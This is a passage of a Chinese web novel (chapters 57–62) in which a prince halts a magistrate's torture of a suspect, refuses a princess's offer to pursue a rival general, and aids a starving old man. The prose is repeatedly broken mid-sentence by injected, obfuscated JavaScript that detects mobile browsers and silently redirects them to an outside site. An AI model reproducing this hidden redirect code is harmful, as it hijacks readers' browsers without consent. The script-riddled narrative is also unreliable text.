岳振江看了看后,将供词放到朱淘利眼前道:“如果要是老老实实签字画押,就把你放下来。” 朱淘利无力地点点头。 狱卒将他从铁环上放下来,有人拿来印泥和笔墨。 朱淘利用拇指蘸了,在供词上按下手印,签上名字。 做完这些后,他特意看向沈凡,目光复杂。 沈凡轻笑一声道:“你看我做甚,还没完呢。” “什么意思?”朱淘利下意识问。 沈凡也不回话,看向一旁的岳振江。 岳振江呵呵一笑道:“说吧,把西北道刺史周康贪功冒赈,还有巾帼将军王灵瑶、郑天泽用兵过狠的事都说了。” “嗯,什么?”朱淘利现出迷茫的神色道:“我听不懂大人在说什么?” “听不懂?”岳振江依旧笑着道:“那本官就换个你能听懂的方法……来人,上烤架。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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果然不出沈凡所料,在烤到第四根手指的时候朱淘利不叫了,看向岳振江喊道: “大人不要再烤了,不要再烤了,饶了我吧!” 第五十七章:岳振江的另一面 见朱淘利求饶,沈凡和岳振江眼中都是一亮。 岳振江一摆手示意狱卒停下,走到朱淘利身前道:“说~” 此刻的岳振江很激动,一个‘说’字竟被他说出了颤音。 “大人让我说什么,我就说什么。”朱淘利不断地倒吸冷气道。 听到这话的岳振江眼睛一瞪道:“放屁,是本官是让你招供,在烤!” 随着第四根手指被烤糊切下,朱淘利说话的声音以是断断续续:“大人……我真的不知道,还是那句话,你让我说什么我就说什么……只求不要再烤了!” 看到这些的沈凡嘴角一抽,现在他可以确定朱淘利是真不知道,为了不受刑,已经主动要求屈打成招了。 再看岳振江对这话耳不闻,宛若疯了般叫道:“给我继续烤,继续烤,就不信你不招!” 眼见狱卒将抖个不停,已经说不出话的朱淘利再次按住,沈凡终于忍无可忍了,道了声:“住手!” 突如其来的一嗓子把几个狱卒惊得一愣,他们知道沈凡是个王爷,可又不敢得罪上峰,都看向岳振江。 岳振江也被吓了一跳,看向沈凡。 沈凡沉着脸把他拉到刑房外道:“岳大人你要干什么,看来他是真不知道。” “怎么可能?”立功心切的岳振江叫道:“再烤他几根一定招!” 看着这个神经已经开始错乱的岳振江,沈凡愤怒了,也叫道: “他都到了你说什么就承认什么的地步,这不是屈打成招么? 你再这么干不但本王不答应,还会告诉公主殿下。” 这话如冷水浇头,一下把岳振江发热的头脑浇清醒了。 做为大理寺卿,他何尝不知朱淘利跟西北的事应该没关系。 只是他太想审出什么来,太想借丹阳公主的权势往上爬了,一时忘了身边还有这个北凉王。 看着沈凡那冷峻的眼神,忙做出豁然醒悟的样子道:“哎呀王爷恕罪,臣这是想到他们干的那些坏事,想到西北那些病死累死的将士气得昏了头。 经您这一提醒才回过神儿,看来朱淘利是不知道西北的事。” 沈凡皱着眉道:“行了,我们现在马上回去给公主复命吧。” “好的,好的,容我交代一下。”岳振江转身回刑房对一名狱卒道:“给犯人治伤,别让他**。” 然后拿起朱淘利、刘利和马卫画押的证词出了刑房,恭敬的对沈凡道:“王爷请。” 沈凡点点头,向地牢外走去。 正这时,身后的刑房里忽然传来了朱淘利的哭喊:“小人谢过北凉王,谢过北凉王!” 之所以喊出这话,是因为朱淘利坏却不傻。 从沈凡叫岳振江出去后,自己不用在受刑他就已经想到了,一定是这位北凉王救了自己。 听着朱淘利的喊声,沈凡的眉头皱的更紧了,却始终没停下脚步。 出了地牢后,午后的阳光刺得有些睁不开眼,让他有种重见天日之感。 这时,沈凡突然感到衣袖被拉住了,就见岳振江笑着对自己道: “王爷,刚才用刑太过的事还请不要和公主殿下说,您也知道臣也是身不由己,而且也知错了。” 沈凡微微一笑道:“岳大人放心,我不会说的,不过请岳大人以后还是少用些这样的酷刑。” “明白,明白。”岳振江连忙应道。 此时他跟着沈凡走路的姿势,已从原来的昂首挺胸变成了卑躬屈膝。 而此时沈凡,也已经对他有了新的认识。 那就是对这样的酷吏一定要敬而远之,因为这样的人野心太大,为达目的不择手段。 至于答应他不告状丹阳公主的事嘛……自己是一定要告诉她的。 一来岳振江这种人,对国家司法稳定将会是个巨大的隐患,沈凡不希望他成为汉武时的著名酷吏张汤。 二来丹阳公主身边有这样的人,早晚会给她带来麻烦,弄不好还会给她惹出祸事。 只是不是现在,自己和那小娘们儿还没到无话不谈的地步,机会不成熟。 沈凡和岳振江来到大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315764|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理寺内堂门口时,看到有几人像竹竿一样直挺挺站在那里。 有丹阳公主的太监总管张凤,有自己的护卫丁奉、徐盛和那个小张峰。 张峰见沈凡走过来,还略显幼稚的脸庞顿时现出笑意,露出一口小白牙唤了句:“王爷!” 可随之就被师父徐盛在脑袋上打了下道:“别这么没规矩,我们现在是在站岗,无故不得打扰王爷。” 张峰下得吐了吐舌头,低下了头。 沈凡摸了摸他的脑袋问:“有事?” “回王爷,没事,是小的不懂规矩。”张峰道。 沈凡发现他还穿着单薄的孝服,就对岳振江道:“岳大人,这是我新收的护卫,还没来得及换装,有没有棉衣给他弄一件?” “有有。”岳振江对身边一个衙役道:“把你的棉袍脱下来。” 衙役当即将棉袍脱下,沈凡接过,亲手披在张峰肩上,又摸了摸他的头,然后跟岳振江进了内堂。 张峰在徐盛的帮助下系好风系扣,望着沈凡发背影哭得稀里哗啦,除了娘没人会这么对自己这么上心。 这一切都被太监总管张凤看在眼里,脸上虽没有表情,不过在看向沈凡的背影时,眼中却现出几分钦佩之意。 丹阳公主对下面的人也不错,甚至堪称贵族中的典范,可与北凉王比还是差了些,至少不会如此心细。 进入温暖的内堂后沈凡看到,丹阳公主正坐在棋桌前,不过并没有下棋,而是在看文书。 因为是侧对自己的缘故,可以清晰地看到她那张绝美的侧脸,还有乳量下作的绝妙曲线。 听到脚步声的丹阳公主扭头看去,俏脸上现出笑意道:“你们回来了,还蛮快的,有结果吗?” 岳振江道了句“有结果了”,刚想禀告忽又想到了什么,看向沈凡道:“王爷,还是您说吧。” 听到有了结果,丹阳公主眸子一亮,用期待的目光看向沈凡。 可沈凡却没有岳振江这样喜欢表功,更没有夺人之美的习惯,回了句:“还是岳大人来吧。” 第五十八章:好心当成驴肝肺 丹阳公主眸子里的亮光少了些,转向岳振江道:“说吧。” “是。”岳振江痛快的应了声,看着公主殿下期待的目光,用略带兴奋的口吻道: “回陛下,在北凉王的协助下,臣审的确有眉目……” 沈凡看到。开始时丹阳公主听得还很兴奋,可慢慢情绪就落了下来,待岳振江说完后问道: “如此说……朱淘利他们和西北的那些事没有瓜葛?” “臣是这么想的。”岳振江回道,然后看了眼沈凡道:“北凉王和臣的想法一样。” 丹阳公主看向沈凡道:“把你的想法说说。” 沈凡瞄了眼岳振江暗自吐槽。 说邀功的事时比谁都积极,到了甩锅时则不动声色,高手! 看来对此人除了敬而远之外,还得防范着点。 “殿下,我的想法是西北的事和兵部**案应区别立案,且宜快不宜慢,以免被西北那边知道消息增加调查难度。” “”对对对,臣也是这个意思。”听到沈凡这么说,岳振江忙应和道。 丹阳公主不置可否地点点头,将手里文书冲沈凡展示了一下道: “刚才本宫派出去的人已经回来了一大半,从收集到的口供来看,巾帼将军的和郑天泽确有用兵过狠的事,对这事你怎么看?” 沈凡沉吟了下才道:“我没什么看法,按朝廷法度公事公办就是。” 眼见沈凡回话时犹豫了一下,丹阳公主眼中闪着灵动问道:“真没什么看法?本宫帮你抓住了他们的把柄不开心么?” “什么意思?”沈凡诧异的问。 “什么意思?”丹阳公主一脸得意的笑道:“本宫的意思是想让你查这件事,若是遇到什么麻烦尽管来找我,本宫给你做主。” 看着丹阳公主瞳孔里闪烁着的八卦光,沈凡这才反应过来,这小娘们儿是在拿自己找开心。 当然,也有想帮自己出口恶气的意思。 心中一暖的同时,理智却告诉自己,如果答应了这小娘们儿,自己就成了公报私仇的人了。 当初自己是对王灵瑶说过,自己将是她以后高攀不起的存在,可那要靠真本事,不是这种落井下石。 想到这,沈凡表情严肃看向丹阳公主道:“殿下,您这话说得有失公允。 一来我是户部的人,没权利查兵部的事,二来我也不想查,因为不屑。” 沈凡看到,丹阳公主瞳孔里的八卦之火一下子就暗了下来,嘴角得意的笑也迅速消退,紧跟着瞪起了那双大眸子。 虽然没有说话,但沈凡明显从她的表情上看出了一句话。 ——你把老娘的好心当成驴肝肺了? 沈凡知道这小娘们儿的脾气,属顺毛驴,这时必须要安抚一下,否者后果难于预料,忙又道:“不过还是要感谢殿下的关怀。” 说着特意给丹阳公主鞠了个躬,抬起头的时候,还给了她一个灿烂友好的笑意。 岂不知,这一笑把个丹阳公主看得浑身一阵酥麻。 上午在张家小院相遇时,她就留意到了沈凡的打扮与以往不同。 以往是英气逼人,今日在英气逼人之上又增添了几分俊美。 这一笑更是让她心里暖呼呼的,对沈凡的观感又上了一个台阶。 其实自己刚才说那些话的时,除了想帮这小子找回面子外,还有想看看他的心眼有多大的意思。 看来这小子没让自己失望,若是换成自己,定会借机收拾那个忘恩负义的王灵瑶。 落井下石都是轻的,扔了石头后还要往里灌沙子! 想到王灵瑶掉进井里,自己在上面扔石头灌沙子的情景,丹阳公主不由“噗嗤”乐了出来道: “本宫跟你开玩笑呢,这种事自有我父皇去查……好吧,你和岳大人现在就和本宫进宫,将这几件面奏我父皇。” “臣遵命。”岳振江急不可耐地应道,同时笑呵呵用讨好的眼神看了眼沈凡。 刚才的一切他尽收眼底,更加确定了自己的想法,丹阳公主和北凉王的关系不一般。 沈凡看向丹阳公主道:“我就不去了。” “嗯,为什么?丹阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315765|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主明显愣了下问道。 一旁的岳振江岳自然明白丹阳公主的想法,为了体现自己的存在感,也为了讨好沈凡忙提醒道:“王爷,殿下这是带着我等去皇上那邀功。” 闻听此言,丹阳公主微微扬起洁嫩白的下巴看向沈凡。 心道你小子还是嫩,本宫的好意楞是没听出来? 不曾想沈凡却道:“我知道,不过有殿下和岳大人去就行,因为我还有更重要的事想办。” “什么事?”岳振江不解的问。 高高在上的丹阳公主收回了下巴,看向沈凡的目光中带着几分疑惑。 她想不明白,有什么事比见父皇还重要,这是多少人做梦都求不来的事。 就见沈凡叹了口气道:“我原来以为,朱淘利他们贪腐的只是少部分病亡将士的抚恤,没想到竟有四千之众。 想必殿下刚才已经看到了娄氏那些人,其中有不少人都快活不下去了,可想这四千多人里又有多少这样的人? 所以我想现在就赶回兵部,让他们今天就把这四千多人的抚恤金发下去。” 听着沈凡诚恳的话语,看着他眼中闪烁着的怜悯,丹阳公主又感动又震惊。 是啊,回想那些病亡军士家属的惨状,自己怎么就没想到应该立刻给他们发放抚恤金呢? 不知为何从这一刻起,沈凡在丹阳公主心中的形象瞬间高大起来,看向沈凡的眼神也变得柔和起来道: “想法是不错,可是你想过没有,就凭你一个挂着户部七品主事的王爷,手里没有内阁的公文,兵部那些堂官会听你的么?” “嘶……这我还真没想到。”沈凡吸了口气道。 这点沈凡还真给忽略了,竟想着发抚恤银,一时忘了朝廷各部运作是有法度的,看来自己还是缺少实际做官的经验。 丹阳公主笑了笑,摘下腰上的玉佩道:“这是本宫的信物,你拿着给兵部那些堂官看。 说你是奉了本宫之令,让他们先行发放抚恤银,至于内阁的公文过几日自会给他们补上……还愣着作甚,拿着呀!” 第五十九章:王家的匾怎么没了 看着丹阳公主手里的玉佩,沈凡一时没反应过来,没想到她这小娘们会为了自己动用皇家特权。 直到丹阳公主来了句“还愣着作甚,拿着呀”,这才上前接过玉佩,收入怀里道: “殿下英明,我代那些军士的家属先谢殿下了!” 丹阳公主小嘴一噘,嗤笑声道:“本宫一直都很英明,说吧,以后你是不是就唯本宫马首是瞻了?” 马首是瞻?真是说你胖就喘……银子还没还我呢……沈凡笑呵呵的道:“我一直唯殿下马首是瞻。” “好像也是哦……”丹阳公主高兴了,笑道:“识时务者为俊杰嘛……那我们就分头走吧,陛下那里你放心,我自会和父皇说明。” “恭送殿下。”沈凡退到一旁,目送她在艳姑姑和岳振江的陪同下离开。 就见此时这小娘们儿的心情大好,走起路来裙摆飞扬,小腰儿扭扭,看上去是那样迷人。 沈凡已经看明白了,别看这位公主聪明能干,骨子里还是个没长大的小女孩。 丹阳公主走后,沈凡下意识取出怀里的玉佩端详。 这是块上面雕刻着一只飞翔的凤凰的白玉,悬在精致的黄丝绳上,轻轻摇曳间散发着温润的光泽。 随着一股淡淡的幽香飘进鼻孔,沈凡嗅了嗅,是名贵香料混杂着丹阳公主体香的味道。 将玉佩揣进怀里,沈凡径直走出内堂,对丁奉,徐盛和张峰摆摆手。 三人立即围了过来,丁奉问道:“王爷,姓朱的是不是招了?” “招了。”沈凡把朱淘利的事简单说了。 丁奉、徐盛听了自是高兴,他们都是当过兵的人,对这种事本就关心。 张峰没当过兵却是军属,对那些病亡军属感同身受,高兴的道:“这下娄姨他们这些人就有活路了!” 听到这话的沈凡想到了什么,看向他道:“你不要跟我去兵部了,现在回家去。” 张峰道:“不,爷爷说我现在是您是护卫,要跟着王爷。” 沈凡笑道:“让你回去是有事,你回家后找娄氏,还有平安坊的那些病亡军士家属,让他们都在你家等着兵部派人发抚恤银。 至于保护我嘛……你明日一早再去王府,找你师父正式入我的门。” 张峰闻言立刻应了声:“您放心,小的一定把王爷的差办好”,说完就往家跑去。 “这孩子不错,好好调教。”沈凡对徐盛道。 “放心吧王爷,不出三两年,定能给您调教出一条好汉。”徐盛道。 沈凡点点头上了马,在丁奉和徐盛的陪同下去往兵部衙门。 大理寺与兵部分别坐落在皇城东西两端,直线距离并不远。 可因不能穿过皇城,需要绕行坊间的街道才能到达,其间恰巧路过王灵瑶家。 对这个伤心地,沈凡是一刻也不想停留,快马加鞭想尽快掠过,可在经过王府家门口时却猛得勒住了马。 徐盛与丁奉也勒住坐骑,见沈凡看着王家大门发愣,两人对视一眼后徐盛道:“王爷,这等忘恩负义之家不看也罢。” 他们对王家也没好印象,毕竟前几日要债时险些在这里吃了亏。 沈凡笑了笑道:“我有那么没出息么,我只是好奇‘王府’的牌匾怎么没了?” 听到这话,徐盛和丁奉才发现挂在大门上的牌匾是没了,光秃秃的。 丁奉道:“王家不会出什么事了吧?” 徐盛想了想道:“王爷,是不是王灵瑶用兵过狠的事皇上已经知道了,降了罪?” 他们的分析是有一定道理的,府宅的牌匾是这户人家的体面,通常只有遇到家破这样的大事时才会被摘下。 沈凡却道:“公主殿下才走了多一会儿,就算降罪也没这么快,再说按律这也不是灭门之罪。 你们暗中打听打听,我在前面的街口等你们,快去快回。” “明白。”徐盛和丁奉齐声应道,沈凡则打马继续向前,直到街口处才下了马。 这里人流交织,为了不挡路,沈凡牵着马站在街边等待。 “你个畜生,快给俺吐出来,不然打死你!”嘶吼声从侧旁忽然响起,把沈凡吓了一跳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315766|167322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 闻声看去,就见一个面目丑陋,身高不足五尺,上身长下身短,挑着担子的中年汉子正追打一条黄狗。 再看那条精瘦精瘦的黄狗,嘴里叼着一块炊饼,瞪着惊恐的眼睛跑着。 它应该是饿坏了,跑起来直打晃,速度不快。 可那矮汉子的腿太短了,一时也没追上。 一条饿急了的狗偷了炊饼而已,沈凡并没有在意,可接下来他就感觉到不对,因为这条黄狗正奔着自己而来。 沈凡不忍踢它,闪身躲避。 黄狗从身边跑过去后,在墙根处停下来,将叼着的炊饼放在地上呜咽着。 这时沈凡才发现,黄狗面前的地上躺着一个人。 因饥饿导致面色发黄,脸上的皮紧贴着骨头,从花白的胡子看是个老者。 这时那个矮汉子已经冲到了黄狗身前,抬起短腿就踹。 吓得黄狗一下就跳过了躺着的老者,蜷缩在他背后。 没有踢中的矮汉子见那老者捡起了地上的炊饼,眼睛一瞪道:“老头儿,这是你的狗吧,赔我炊饼。” 老者扶着墙吃力地站起来道:“老夫没钱,这胡饼它也没吃,还你就是。” 矮汉子顿时就急眼了,骂道:“老家伙,这饼都被你的狗叼了,你让我我卖谁去?” 老者道:“要不然老夫给你打个欠条,等有钱了再还你。” 矮汉子道:“就你这德行,有今天没明天的,怎么还?” 老者深情地看了看手里的炊饼,咽了口唾液,将其放在地上道:“要么打欠条,要么你把饼拿走。” 黄狗见状将炊饼又叼了起来,仰着脑袋看向老者。 老者眼圈一红,从黄狗嘴里拿出炊饼,又将其递给矮汉子。 被矮汉子一把打掉道:“老家伙你戏耍我,我看你这条狗还能熬出几两油,就拿它顶账吧。” 老者豁然一惊,忙将黄狗护在身后道:“不可,这狗是老夫唯一的伙伴,有灵性,万万不能给你。” “老东西,滚一边去!”矮汉子边骂边推了下老者。 第六十章:三十文一只的荷花鸡 老者虽生得身材高大,但毕竟是上了岁数,加之饿得体力衰竭,根本就拦不住矮汉子这一推。 只觉得一阵头晕目眩被推捯在地,无奈之下拼力喊了句:“大黄快跑!” 黄狗被吓坏了,龇着牙想反抗。 可它刚才偷炊饼已经将体力耗尽,站都站不起来了,对着老者发出一阵呜咽声。 眼见矮汉子就要抓住黄狗,沈凡实在看不下去了,身形晃动间,一脚踢在他的腰眼上。 矮汉子本就生得三寸丁,重心低,这一脚把他踹得像球般咕噜出多远。 好在沈凡没用力,他才没受伤,爬起来四下寻找骂道:“谁,谁特么踹的我?” 沈凡轻喝道:“嘴吧放干净点儿,这饼钱我替他给了。” 矮汉子见是位牵着高头大马,身穿名贵裘皮的贵公子,身子本能一堆跑过来道:“这位贵公子,您说的是真的?” 沈凡低头看向如球般滚回来的汉子,却没生出多少怨恨。 因为他知道这人就是个做小买卖的穷苦人,死命护饼也合乎情理。 “你的炊饼多少钱一个?”沈凡问。 矮汉子道:“不贵,一文钱一个。” 沈凡道:“查查担子里有多少,我都要了。” 矮汉子一喜,咧着嘴打开担子查了一遍道:“一共三十二个。” 沈凡从马褡子里取出一吊钱,查出三十三个给了他道:“这是三十三个,把这些胡饼包好,都给那个老者。” “行行。”矮汉子用熟练的手法数完铜钱,将胡饼包进一个包袱,塞到老者怀里道: “老头儿,今儿你算遇到贵人了,手好了,够你吃上十天八天的了。” 说完看向沈凡笑道:“这位公子爷,没什么事儿小的先走了。” 沈凡点点头。 矮汉子挑起担子就跑,将那双小短腿抡得像风车,转眼就消失在了人流如织的街道上,引得围观的百姓发出一阵哄笑。 若问为什么跑的这么快? 无他,怕沈凡反悔。 沈凡看向那老者,发现他抱着一包炊饼没有吃,为了避免他有什么负担,说道: “老人家也不是什么值钱的吃食,吃吧。” 就在沈凡以为老者至少要谢一下时,不曾想他却笑了笑道:“老夫今日之境遇,哪还有什么挑三拣四的条件?” 见老者虽落魄可言行有度,沈凡好奇的问:“你是个读书人?” 老者如核桃皮般的脸微微一抽道:“老夫不是读书人,因为老夫的书都读到狗肚子里了。” 说完对沈凡拱拱手,拿出一块炊饼胡掰开,将其中一半给了那条黄狗道: “吃吧,正如那个买饼的大郎所说,我们两个这十天八天是饿不死了。” 这老者真是个怪人……见老者不再理自己,沈凡心中想到。 不过再没说什么,毕竟自己这么做也不是为了让人家感谢。 “荷叶鸡,荷叶鸡,这位公子,上好的荷叶鸡您不来一只,只要三十文。” 就在这时,身后传来了一个女人的声音。 沈凡扭头看去,就看到一个挎着篮子的中年妇人,掀开了篮子上的棉布,正冲自己猥琐地笑着。 沈凡的心思还在等丁奉和徐盛上,何况看到篮子里包鸡的荷叶都变黑了,想都没想地摆摆手,意思是不要。 “公子,您就来一只吧,我半天没开张了,家里还有俩老三小等着米下锅呢!” 妇人猥琐的笑容更浓,因为刚才从这位公子买炊饼送乞丐的举动,她确认自己能开张。 沈凡好奇的道:“你都卖荷叶鸡了,家里人还挨饿?” 妇人道:“这鸡不是我的,是从大户人家买来的。” 沈凡道:“我知道是买来的,小门小户谁家也不能养这么多鸡,我是说你卖鸡因该不少赚吧?” 妇人道:“哪呀,一只鸡我只能赚两文钱。” 沈凡楞了下道:“怎么会这么少,如今市面上一只活鸡也就二十文,你买三十文,除了柴火和佐料应该能剩不少。” 沈凡说着些是有依据的,按这么算,一只鸡估计这妇人至少能赚六七文。 这年头六文钱就能让一家五六口吃上顿饱饭,忆当初水仙和自己一天的花销也就五文钱。 妇人的脸垮下来道:“您是不知道我的苦,这活鸡在市面上不是哪天都能买到的,像我这样专门卖鸡的要到大户哪才能买到,二十二文一只。 柴火也是如此,也要到那家大户买才能长久维持。 除去这些和佐料钱,一只鸡就看三文钱,一天要是卖不上三五只,家里就揭不开锅了。” 沈凡问道:“你从哪家大户买的鸡?” 妇人:“安国公郑家。” 沈凡想到了郑天泽的爷爷,那个丹阳公主口中九十多岁的老神儿人,问道:“你说的可是开国元勋郑建山?” “没错,就是他家。” 沈凡想了想道:“既然他家卖的鸡和柴贵,为何不到别处买?” 妇人眼中闪过几分鄙视道:“一看您就是金枝玉叶,不晓得我们这些做百姓的难。” 沈凡也不恼,他知道自己虽流落民间两年,但对百姓的疾苦了解的还不够,虚心的道:“说来听听。” 妇人叹了口气道:“您可能不知道,这京城附近的山和田地都被那些勋贵占着,我们的柴米油盐都要从他们那才能买到。 又说这些勋贵的心是一个比一个黑,安国公家大业大,卖得还算便宜些的……哎!看我都跟您说了这么多了,就买一只吧,保您好吃。” 看着妇人可怜的样子,沈凡摸出铜钱道:“那就来只尝尝。” 妇人大喜,从篮子里取出一只鸡道:“别看这外面的荷叶干巴,却是去年新鲜时摘下来的,荷叶的清香味儿都在鸡里了。” 沈凡掰下一个鸡腿咬了口,鸡肉非常嫩滑,荷叶的清香与肉的鲜香完美融合,就是天冷的缘故已经凉了。 “的确不错,我问你,你知道安国公有什么家业么?”沈凡边吃边继续打听。 得到夸奖的妇人兴致勃勃的道:“那可多了,在城外有山有田有庄子,在城里有金店、布店、马行、肉行,连开的青楼都是除了教坊司外最大的。 关键是这些勋贵还不交税,连我这个买荷花鸡的每月都要交三十文的税呢,您说他们得赚多少金山银山?” 第六十一章:此子竟是个王爷 听了妇人的话,沈凡感觉鸡都不香了,想起了父王与自己讨论时局时曾说的话。 ……自开国以后,勋贵们就热衷于囤田,大肆占领土地,形成田庄养佃户。 虽然朝廷已经国家赏赐了田园给这些勋贵,但他们并不满足这些,很多勋贵还利用权势行‘求田问舍’之事。 开国不到二十年的时间,就出现了京城第舍,郊畿田园多半皆在官家的情景。 大量农民土地被勋贵控制,而这些勋贵在上税少的情况下,依旧对佃户收高税。 对油、酱、醋、茶、布、金、银、肉等行当的垄断,造成了物价高涨,至使百姓生活艰难。 加之人都是贪婪的,这些勋贵为了荣华富贵就需要更多的金银来维持,就更要兼并土地,夺他人田产。 父王在世时就看不惯,几次上书都被先皇驳回,被勋贵们围攻,无奈之下只能作罢,唯有独善其身不霸占别人的田产。 即使是这样,朝廷赏赐给父王的田产也不少,还有座玉矿,只不过都让自己卖了给王灵瑶当军饷了。 想到这沈凡不由叹了口气,自语道:“特权不治,国危矣!” 妇人听不懂沈凡说什么,她的心思全在另一件事上,见沈凡把荷叶鸡吃得差不多了,眼中带着乞求,笑眯眯的道: “公子,看您吃得香甜,还是再来一只吧!” 看着这个穿着打着补丁棉衣的妇人,沈凡道了声好,指着篮子道: “上面的鸡凉了,下面的是不是能热乎些?” “能好些。” 妇人忙应了声,将篮子底下的荷叶鸡往上挪,沈凡则帮她扶着篮子,免得掉在地上。 此刻沈凡不知道的是,身后的那个老者正目光炯炯盯着自己,连嘴里的炊饼都忘了嚼。 沈凡一气又买了四只荷叶鸡,徐盛两只,丁奉两只,因为他们都比自己能吃。 拿到铜钱的妇人开心的不得了,嘴都咧到了耳后根。 正这时,沈凡远远看到徐盛和丁奉回来了,立刻上马,在妇人“您吃好了在来”的话语中向他们迎了过去。 刚碰面,就见徐盛就气难平的道:“王爷,打听明白了,王家不但没出事,反而遇到了大喜事。 牌匾被摘,是因被太子赐了可挂‘巾帼将军府’的匾额,又因王灵瑶被皇后认了义女,太子还赏了她丝绸百匹,银两千两,良田五百亩已示恩典。” 丁奉也气愤的道:“么的,一个拿将士命升官的人,还能走这样的狗屎运? 我们两个刚才打探的时候,王家人正在张灯结彩,说过几日选吉日大摆宴席。” 徐丁二人的话,听得沈凡心里五味杂陈…… 王灵瑶用兵过狠自己何尝不是‘帮凶’,自己还是被‘情’字蒙了眼,如今又造就出了一个新贵。 因为以王灵瑶父亲和弟弟的个性,定也会热衷于囤田,到时不知又有多少百姓遭殃…… “王爷您别多想,就凭她用兵过狠的事,皇帝也不会饶了她。”丁奉见沈凡脸色有异,忙安慰道。 比他沉稳不少的徐盛却道:“这可不好说,如今她是皇后的义女,太子看来也很欣赏她。” “老徐,你怎么涨他人威风?”丁奉瞪眼道。 “我说的是实情。”徐盛回道。 “好了,中午都没来得及吃饭,饿了吧?”沈凡把荷叶鸡丢给他们道:“去兵部。” 说完就一勒缰绳,打马自顾向兵部而去。 丁奉和徐盛还真饿了,挥鞭跟上的同时,一人拿着一只大口啃食起来,脸上皆流露出真香的表情。 街角处,看着沈凡三人远去的背影,那老者的眼睛眯了起来,拍了拍大黄道: “听见了么,此子竟是个王爷,且还是个忧国忧民的王爷,不由勾起老夫想结交一番的念头。” 说完,就迈着蹒跚的步伐跟了过去。 大黄狗在美美吃了两个炊饼后。也有了力气,摇着尾巴紧跟在老者身后。 就在这一人一狗消失在街角时,不远处的王宅,几个正在门口悬挂红灯笼的王家仆人看到,两个骑马的汉子在门前勒住了马。 他们皆身穿黑色锦袍,头戴乌纱,腰缠玉带佩弯刀,冷酷而威严。 这两人都没下马,其中一人问道:“你们谁是王家的人,站出来说话。” “我是王家的管家,请问这位官爷有何事?”一个五十多岁,身穿蓝色棉袍的男人施礼道。 马上之人道:“我乃大内侍卫,传陛下口谕,令巾帼将军王灵瑶速速进宫面圣,听清楚没有?” 大内侍卫……面圣……管家一惊,忙回道:“小人听清楚了,请二位上差稍等,小人这就进去禀告我家小姐。” 大内侍卫道:“不必了,你去传达就是。” 言罢,就与同伴掉转马头而去。 管家一点儿不敢耽误,撩起棉袍的下摆就往府里跑…… …… 经过小半个时辰的路程,沈凡带着徐盛和丁奉已是到了兵部衙门。 刚到门前,沈凡就察觉到了几分异样。 早上来的时候,门口只有两名守门军士,现在为何却变成了双岗双哨,站岗的军士也都神情紧张,有如临大敌的感觉。 沈凡跳下马,没拿丹阳公主的玉佩,而是依旧取出户部给自己的公文,给了站岗的一名校尉道:“我是来办差的,请让我进去。” 校尉看了公文后,本来就紧张的神情越发紧张,对着沈凡拱手道: “请王爷恕罪,小人是刚换的岗,不识得您的身份,请稍等,小人这就去寻值班的堂官亲自迎您。” 沈凡一皱眉,用疑惑的眼神看向这名校尉。 徐盛见状,马上就明白了王爷所想,上前对那校尉道: “你这是什么意思,我们王爷是来办差的,放行就是,再说我们王爷早上来的时候也没人迎接。” 那名校尉道:“这个我不太清楚,不过我在上岗前,上峰就已经交代过,如北凉王前来一定要告诉他,他要出门迎接,还请稍等。” 说完这话,那校尉也不待徐盛回应就转身进了大门。 第六十二章:兵部水够深的 “王爷,这是怎么回事,他们怎么变得这么客气了?”徐盛看向沈凡问。 此时沈凡眼中的疑惑已然消逝,微微一笑道: “我明白了,跟着朱陶利的那些军士不都已经放回来了,定是他们把事情禀告给了兵部官员,这些官被惊到了。” “原来如此。”徐盛笑道:“这样也好,省着您进去再找兵部的官了。” 丁奉也道:“谁让他们狗眼看人低,如今知道王爷的厉害了。” 正这时,忽听门内隐约人声嚷成一片,沈凡、徐盛、丁奉皆一愣。 随后就见丁奉笑道:“想必是兵部的那些官知道王爷来了,这是要倾巢而出迎接您。” “没错。”徐盛也闻言也笑道。 沈凡跟着笑了笑,可下一瞬笑容就僵住了。 跟着同时僵住的还有丁奉和徐盛,因为他们在传出来的声音中,听到了一个人的喊叫声。 “你没有权打我,我帮北凉王就是在帮朝廷做事……啊……” “是王广!” 随着沈凡道了句,身形一晃已是进了兵部大门。 丁奉和徐盛也忙跟着冲进去,门口的几个军士见状自是不敢阻拦,有两个跟进去的,也只是给上峰报信。 